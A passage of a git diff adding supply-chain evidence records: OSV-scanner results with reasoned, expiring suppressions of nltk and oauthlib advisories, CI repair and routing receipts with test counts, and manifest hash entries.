per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock.\nGHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted.\nFiltered 4 vulnerabilities from output\n.github/osv-scanner.toml has unused ignores:\n - GHSA-h35f-9h28-mq5c\n", + "unignored_package_findings": [], + "limitations": [ + "The OSV requirements parser omits direct SDK/tools wheel URL requirements; their exact artifacts are separately hash-verified.", + "Existing NLTK and OAuthlib suppressions are source-scoped and expire; guard success and independent reachability review remain separate.", + "No model inference or token-saving comparison was performed." + ] + }, + "superseded_native_scans": [ + { + "evidence_class": "native_proven", + "meaning": "Native pinned scanner execution over these exact locks only; existing hash-scoped suppressions remain in force. Not image or runtime acceptance.", + "command": { + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + ".github/osv-scanner.toml", + "--no-resolve", + "--format", + "json", + "--all-vulns", + "--output-file", + "/runtime-locks-osv-final.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/test-requirements.lock", + "--lockfile=:blueprints/runtime-workers/crawl4ai/grader/package-lock.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/build-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/deerflow/e2e/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "start": "2026-09-30T08:08:38.602197+00:00", + "end": "2026-09-30T08:08:40.282622+00:00", + "exit_code": 0 + }, + "config_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "scanner_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "locks": { + "blueprints/runtime-workers/crawl4ai/requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "blueprints/runtime-workers/crawl4ai/test-requirements.lock": "18802e44cb0fe166cbb229a3efdce7f83dfd8349d0bdc81c35c2e0ad98929b5a", + "blueprints/runtime-workers/crawl4ai/grader/package-lock.json": "b3577cbcf13a57c7a1e2e961f2b3db4d56e1990d765822c810ac8dbafbb12e1f", + "blueprints/runtime-workers/gpt-researcher/requirements.lock": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "blueprints/runtime-workers/gpt-researcher/build-requirements.lock": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", + "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754", + "blueprints/runtime-workers/deerflow/e2e/requirements.lock": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "blueprints/runtime-workers/openhands/requirements.lock": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "blueprints/runtime-workers/openhands/build-requirements.lock": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2" + }, + "report_sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "53d47bc4b368b888a782d48bce8f3670a25bee3fb209ec94d853583cc3f434ae", + "returned_stdout": "", + "returned_stderr": "Starting filesystem walk for root: /\nScanned /blueprints/runtime-workers/crawl4ai/requirements.lock file and found 95 packages\nScanned /blueprints/runtime-workers/crawl4ai/test-requirements.lock file and found 4 packages\nScanned /blueprints/runtime-workers/crawl4ai/grader/package-lock.json file and found 901 packages\nScanned /blueprints/runtime-workers/gpt-researcher/requirements.lock file and found 197 packages\nScanned /blueprints/runtime-workers/gpt-researcher/build-requirements.lock file and found 4 packages\nScanned /blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock file and found 68 packages\nScanned /blueprints/runtime-workers/deerflow/e2e/requirements.lock file and found 96 packages\nScanned /blueprints/runtime-workers/openhands/requirements.lock file and found 174 packages\nScanned /blueprints/runtime-workers/openhands/build-requirements.lock file and found 3 packages\nEnd status: 0 dirs visited, 9 inodes visited, 9 Extract calls, 202.478723ms elapsed, 202.478783ms wall time\nGHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot.\nGHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot.\nGHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock.\nGHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted.\nFiltered 4 vulnerabilities from output\n.github/osv-scanner.toml has unused ignores:\n - GHSA-h35f-9h28-mq5c\n", + "unignored_package_findings": [], + "limitations": [ + "The OSV requirements parser omits direct SDK/tools wheel URL requirements; their exact artifacts are separately hash-verified.", + "Existing NLTK and OAuthlib suppressions are source-scoped and expire; guard success and independent reachability review remain separate.", + "No model inference or token-saving comparison was performed." + ] + } + ] +} diff --git a/evidence/artifacts/runtime-sol-routing-20261002/dashboard-ci-repair.json b/evidence/artifacts/runtime-sol-routing-20261002/dashboard-ci-repair.json new file mode 100644 index 000000000..4ff17749f --- /dev/null +++ b/evidence/artifacts/runtime-sol-routing-20261002/dashboard-ci-repair.json @@ -0,0 +1,22 @@ +{ + "schema_version": 1, + "record": "Three dashboard state fields corrected after native hosted validation failures", + "failing_head": "1060f09fd7ab318a487a38015c072b2f4f5f46f1", + "source_reference": "observability/grand-dashboard/progress.py:46-48 at the failing head", + "evidence_class": "local_integration_fixture", + "cause": "Three integration-authored states contained semicolons outside the existing public-token pattern; one also exceeded160 characters", + "repair": "Shorten only those three state fields with permitted characters; retain the metadata guard and detailed limitations in the linked evidence", + "native_hosted_failures": [ + {"platform": "Linux", "job": "110785930665", "exit_code": 1, "tests_run": 9563, "failures": 1, "errors": 7, "skipped": 973}, + {"platform": "macOS", "job": "110785930942", "exit_code": 1, "tests_run": 9563, "failures": 1, "errors": 7, "skipped": 1332, "full_output_sha256": "9a7ae18801023682e5af468dafca4586a2494a6a704b156b84b63a8db23649d7"} + ], + "focused_check": { + "command": "env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_grand_dashboard -v", + "exit_code": 0, + "tests_run": 17, + "returned_summary": "Ran 17 tests in 0.336s; OK", + "original_output_sha256": "5873276fa3480aa177afdb8c5a71200e3e6afcc43d8d91e18995c2e5c71206f3" + }, + "limitations": ["Hosted Linux and macOS reruns require the published repair", "The focused checks are local fixtures, not unchanged upstream tests", "No host dashboard service installation or activation follows from these fixtures", "Provider and task-quality acceptance remain open", "Crawl4AI dependency advisories remain separate open gates"], + "usage": {"provider_usage": null, "reason": "No provider call was invoked by this local fixture check"} +} diff --git a/evidence/artifacts/runtime-sol-routing-20261002/receipt.json b/evidence/artifacts/runtime-sol-routing-20261002/receipt.json new file mode 100644 index 000000000..f2c19790d --- /dev/null +++ b/evidence/artifacts/runtime-sol-routing-20261002/receipt.json @@ -0,0 +1,57 @@ +{ + "schema_version": 1, + "record": "Scoped Sol route and nested-effort source repair", + "base_revision": "1195e212c49ecf9cd6024bffda9ecddb9b2d54ed", + "integration_main": "675bdd51c96af28aa98012d9e4ff772a77a38f3d", + "earlier_observed_main": "49a4260029244e3e20d8b2dd3ada00af7983a3c9", + "evidence_class": "local_integration", + "route_contract": "Fixed approved advertisement snapshot; both cx/gpt-6.1-sol and cx/gpt-6.1-sol-max remain exact. Unknown routes are rejected. DeerFlow retains its legacy-medium refusal. No dispatch-time discovery is claimed.", + "effort_contract": "GPTResearcher emits LLM_KWARGS.extra_body.reasoning.effort=max; OpenHands emits llm.litellm_extra_body.reasoning.effort=max. Existing flat max and other nested keys are retained. DeerFlow already emits nested max.", + "source_references": [ + "https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/utils/llm.py#L103", + "https://github.com/langchain-ai/langchain/blob/langchain-openai%3D%3D1.6.6/libs/partners/openai/langchain_openai/chat_models/base.py#L1563", + "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/llm/options/common.py#L49", + "https://github.com/diegosouzapw/OmniRoute/blob/f5d8e150b79e0901fa18241c7f29bff889b87c14/open-sse/translator/request/openai-responses/helpers.ts#L53", + "https://github.com/BerriAI/litellm/blob/v1.93.0/litellm/litellm_core_utils/get_model_cost_map.py#L277" + ], + "checks": [ + {"command": "python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v", "exit_code": 0, "tests_run": 28, "passed": 28, "skipped": 0, "original_output_sha256": "3eb0ea72781cab559b8d31286feb3812881dc6c8e4a67354d21f1bea7cd0f962"}, + {"command": "python3 -m unittest discover -s tests -p test_runtime_worker_openhands.py -v", "exit_code": 0, "tests_run": 122, "passed": 122, "skipped": 0, "original_output_sha256": "ab6ea0f189ed5e2163cf64fd0885db5eecf5704fd20cad59f9d2b7d33b6fa232"}, + {"command": "python3 -m unittest discover -s tests -p test_runtime_worker_deerflow.py -v", "exit_code": 0, "tests_run": 40, "passed": 39, "skipped": 1, "original_output_sha256": "4899f117f2042cf3064ff3a6f42df6baa52a687d4e8b74e9d198543aefeba26c", "reuse": "DeerFlow source/test hashes remain identical to the passing route-only snapshot; unavailable pinned grader control remains skipped"}, + {"command": "python3 -B -m unittest tests.test_runtime_worker_skills", "exit_code": 0, "tests_run": 22, "passed": 22, "skipped": 0, "original_output_sha256": "5e59f69863ea99f062e0cbc934fab2e6322880d0aacdfec671e0875383080d9d", "scope": "Fresh merged-main skill/adoption reconciliation"} + ], + "native_constructor_candidate": { + "sdk_version": "1.50.1", + "source_revision": "1e1390acc8788346ba4804c34323284009bf3f5e", + "litellm_version": "1.93.0", + "final_exit_code": 0, + "model_ids_preserved": true, + "flat_max_preserved": true, + "nested_max_preserved": true, + "network_attempts": 0, + "settings_scope": "Only the optional constructor subprocess received supported LITELLM_LOCAL_MODEL_COST_MAP=True; OPENHANDS_SUPPRESS_BANNER=1 was cosmetic", + "original_output_sha256": "1cf681f1c7c23a5e5fad0ad804715ee26ce073014beb5f236cbac36e9ff79f27", + "qualification": "Offline candidate constructor only; the recipe remains SDK1.50.0 with its separate repaired package closure. This candidate environment is not promoted or used for provider acceptance." + }, + "source_hashes": { + "blueprints/runtime-workers/gpt-researcher/gateway.py": "cadb2e097a9ccbf0fdc609c5cba9a82645da46a2d9e2e6fcb59b10fcf5ba657c", + "blueprints/runtime-workers/deerflow/recipe.py": "59b39b72e42e7a96efe078caa79bf928ce5dd8da54e9447490bfee29c4abc4a0", + "blueprints/runtime-workers/openhands/recipe.py": "b648c9241c35ab9301c127423695d5018218ba8f901fed8db99e07f211750603", + "tests/test_runtime_worker_gpt_researcher.py": "b7c9cc3ec10997a03c5b9e337044fc9305c357ada18fb6480869a07df4fa6413", + "tests/test_runtime_worker_deerflow.py": "aaa21a827e3dc7d3719051e76a8727b33a6438317509eea66adaf9ceab6326d2", + "tests/test_runtime_worker_openhands.py": "1f79392caed23c3ac5e9c493c7b4e32d6db909138a7da2437b35f5fee14f0083" + }, + "independent_review": "Astra/max accepted the six-file source/effort repair with no blocking findings; source hashes and patch matched. It did not rerun tests or establish provider acceptance.", + "retained_failures": [ + "Targeted dotted-route, unknown-route, legacy-medium and missing/wrong nested-effort controls returned exit1 before their repairs and exit0 after; exact commands and returned output remain private", + "Initial SDK1.50.1 constructor preserved fields but attempted the remote model-price-map fetch; socket guard blocked it and the offline-control verdict exited1. The failure was retained before the supported local-map rerun." + ], + "output_retention": "Original returned native logs and exact command envelopes retained privately; this public receipt carries sanitized summaries and exact output hashes.", + "limitations": [ + "Local tests are repository fixtures, not unchanged upstream tests or model execution", + "Recipe SDK1.50.0 constructor, serialized requests, effective gateway effort, tool-call round trips and provider inference remain unverified by this repair", + "Historical Omni f5d8 normalizes dotted-Sol flat max to xhigh; newer0585 source is not evidence that the running gateway changed", + "Full-image/task-quality and actual new-host acceptance remain separate open gates; frozen defaults are not promoted" + ], + "usage": {"provider_usage": null, "reason": "No model inference invoked and no native provider usage returned; offline fixtures, source review, advertisement and construction are separate evidence"} +} diff --git a/manifests/evidence.json b/manifests/evidence.json index bdb3e0747..008aed3c7 100644 --- a/manifests/evidence.json +++ b/manifests/evidence.json @@ -3925,13 +3925,13 @@ }, { "path": ".github/osv-scanner-lockfiles.json", - "sha256": "97c35ece0b41e0ad3b06bc48857aa5c1eb0119862f35603920c33a7ea0244637", - "bytes": 10394 + "sha256": "b83f592b45e963fdee3f829a14243dbf33fc24277ca6366a1579e39aa04ba757", + "bytes": 15772 }, { "path": ".github/osv-scanner.toml", - "sha256": "dc6c8e8a535f78314525b8845d64f12bb743457147c9db0cae6d84c9297f9f87", - "bytes": 7252 + "sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "bytes": 7630 }, { "path": ".github/pull_request_template.md", @@ -5764,6 +5764,16 @@ "sha256": "7176889bb4f8e3839c5230918c1e23ff89bdd3778a8f333db2ea881731a08e45", "bytes": 2595 }, + { + "path": "blueprints/convergence-practice/runtime-image-browser-20260930/README.md", + "sha256": "3ccbeb353a113cc50679761d4a93cba3f2ac27f8b9fdf06c435b35beedb0cdeb", + "bytes": 7084 + }, + { + "path": "blueprints/convergence-practice/runtime-image-browser-20260930/experiment.json", + "sha256": "98a7d5ca589c22e02ea4b0ab2e5cebab196645d3abf8c566d3155498763a1d3f", + "bytes": 7949 + }, { "path": "blueprints/convergence-practice/service-reboot/README.md", "sha256": "bd9b9e8963b1f7f8e917e483812194d6905c8e61da34afd43f5019acf9340ad0", @@ -9119,10 +9129,670 @@ "sha256": "df268219b74a432cfc49b1e53e9911cfd8c632fc86d07a963719472ab26022fa", "bytes": 2690 }, + { + "path": "blueprints/runtime-workers/README.md", + "sha256": "879a812f5b9845af723dfb1ef5e00ba65d2cae3ee57b8b2d4364f461b50be8ea", + "bytes": 6612 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/.gitignore", + "sha256": "6fa9c435f133f59f9198b520765a85fee8d71a16f1439e53fed49c95dc39158f", + "bytes": 24 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/README.md", + "sha256": "e041d8c146b204b02ca709acd68cc6f04370701aa891ec78272e5bffb359ce98", + "bytes": 44208 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/browser-artifacts.json", + "sha256": "2ccc245dc89b29d7586e8278d808301117d22740ad171810b06245201601da2d", + "bytes": 1052 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/common.sh", + "sha256": "0c9414dd3c52e78c0121e54a1d53e816278b6aea9b91483209334ac1e5cdf0dd", + "bytes": 877 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/compose.yaml", + "sha256": "611a731b9a83db7931e48dd38b2fe89a9761d0f820d6050debe91a95f6f42277", + "bytes": 3018 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/host.example.json", + "sha256": "e096e196c7324a67de265fb58371747b72ef94a4f4e445ea66e216b8c44ed9b4", + "bytes": 349 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/logging.ini", + "sha256": "b495284f90c1b328e98e7ab6dc48c7be37b7a35140a90e270ead4fef133098d8", + "bytes": 600 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/mcp-policy.json", + "sha256": "67334ba6a7a90116bd631a302b6f82a5691eac6a5d40771db866428fd210099a", + "bytes": 2681 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/server.yml", + "sha256": "2d77b444912fa70eac926a87b37ad4e5335f6953475a0702ecf52900972acac9", + "bytes": 320 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/supervisord.conf", + "sha256": "a145e5d4db3d7f659a74246eaabf5d11e547d4368008bb796afb2e7fbbb7a548", + "bytes": 1952 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/config/worker.json", + "sha256": "eb325aafc083225396b2d42cf470650342f77a56e3ad80bbd89477b0ca7ef848", + "bytes": 1693 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/container-entrypoint.sh", + "sha256": "591fd0c640d0ffef42e8071fd1ba3ec9bd118290181178157f1a40182bf2502f", + "bytes": 1258 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/container.sh", + "sha256": "a2e0f05358137487a31580558d576cf1e776b8b2ebc44987b12e50c611f27fee", + "bytes": 2627 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/dispatch.py", + "sha256": "bee97999774673725c878fceb5ae8f89ae930dd62c8182a1540bb117d21f8374", + "bytes": 10972 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/dispatch.sh", + "sha256": "449ad2bed799e1fe97f513160a6246e4beed9bb8bbdaa0d87f92aaf6e4bab913", + "bytes": 296 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/assertions.json", + "sha256": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "bytes": 81 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/check.py", + "sha256": "7878f98bea665d4111e3ce76580b26b8d495e84651ed236f108492e381623dd7", + "bytes": 831 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/expected.json", + "sha256": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "bytes": 414 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/fixtures/beacon.html", + "sha256": "d743937367e843d738223dc1dc7aac0db363ef5173c53d188a68136d63f8739e", + "bytes": 828 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/fixtures/flask.html", + "sha256": "b643e3617fc0681d2775da7f53bced1c8b60235b5f940af712bcad44d9a1d852", + "bytes": 838 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/fixtures/lamp.html", + "sha256": "5d3e3fdc038def93ef353119fbbb06ed6fc8e311c89f1eed1785363b6256348f", + "bytes": 834 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/grade.py", + "sha256": "cefc9125e6d505778cdb9f25f09c3ae9c072894ad8902c612f52c3e61d7e348f", + "bytes": 5734 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/mcp_probe.py", + "sha256": "9f2f8e4e97c0ca59a6ed01338f000a1b9187edf9d8f71b8267e84801fb11a93d", + "bytes": 5078 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/receipt.py", + "sha256": "521fb9ada9ef128201300396cea1130f031356ce6f12600a41305f16178c3fa5", + "bytes": 14568 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/run.py", + "sha256": "49bbd9598e5ac6c271b268523ca6c223b497821b5ebd2d9fd0dfe57ba549ea4b", + "bytes": 9372 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/e2e/schema.json", + "sha256": "69747f245f545a29151f17cd4fcbe5dee1418f9176970a67b4ce9f6f094e4d36", + "bytes": 426 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/evidence/grader-ftp-repair.json", + "sha256": "24eb2daf3a485a4d3244ce70ee876dea933625bd8bc0972486854279794390f4", + "bytes": 11580 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/evidence/nltk-reachability.json", + "sha256": "3ae7461b5852631d7fd9a8aad8ade3eddb71ed84e1f7c08599977202adae81ae", + "bytes": 17876 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/grader/package-lock.json", + "sha256": "a64877fe75a939652e3d98277ca35a331935f45ddea5860535e20e1d24bf7a7a", + "bytes": 460880 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/grader/package.json", + "sha256": "d61efc89d26319a63b58fbcd34e81802cba77dc203553d5f7259b7cb039ce929", + "bytes": 218 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/host.py", + "sha256": "38687eb528d63bb115654dbcb7c9d45c02f4f061625a198d1f9bb0363cbc47d8", + "bytes": 4270 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/install-browser.py", + "sha256": "7919165002ce74da8274c70ff294ff6eee11481bcbd6a1e45b8539fea9e25729", + "bytes": 2646 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/install.sh", + "sha256": "4e61aedd842faf0c920344ec1cffb06fd09d03705f604f8be41b006e29657078", + "bytes": 4177 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/mcp-config.py", + "sha256": "971c419bd49be9817684f9a04bda045c988ba540dee57f20272765870a3d8591", + "bytes": 1468 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/pins.json", + "sha256": "4fb312399e032905487f49a7b5384d49dda52d88c66cc01be743e9eb3c302abb", + "bytes": 2764 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/registry-evidence.json", + "sha256": "710dc54f473150f9209e76e0a5a889abda8c56c793b3f52b064b624e9a290d29", + "bytes": 645 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/requirements.in", + "sha256": "f922a5a3f6b978192899aa94a0b64a82e01dbb4782b4cc151ad8a7d2ca5f3d38", + "bytes": 157 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/requirements.lock", + "sha256": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "bytes": 248729 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/research.md", + "sha256": "d274a10ab488bc1b03b3d50b64ab8da06241b4e85e3beecd26953b9e6b1001ec", + "bytes": 24368 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/run-e2e.sh", + "sha256": "18bcb24f04aa349cbeaa65e2d722fb214d06699ecd57d51da99f71aad571e039", + "bytes": 397 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/test-requirements.lock", + "sha256": "18802e44cb0fe166cbb229a3efdce7f83dfd8349d0bdc81c35c2e0ad98929b5a", + "bytes": 1000 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/verification-round2.json", + "sha256": "76c7dc531a0397c11dfaa97508d78eb383b8fef042533d9a0376723d3e533d97", + "bytes": 12483 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/verification-round3.json", + "sha256": "d6ca0f856c4711c5b85f3fcf94a2b3c3a4e3d8a02cba2e40f383e59e19806034", + "bytes": 32018 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/verification.json", + "sha256": "ca2b276cce40925a31242bed3f6949e3459aea4cdd7a6e1c53672d2c75c8d70e", + "bytes": 4893 + }, + { + "path": "blueprints/runtime-workers/crawl4ai/worker.py", + "sha256": 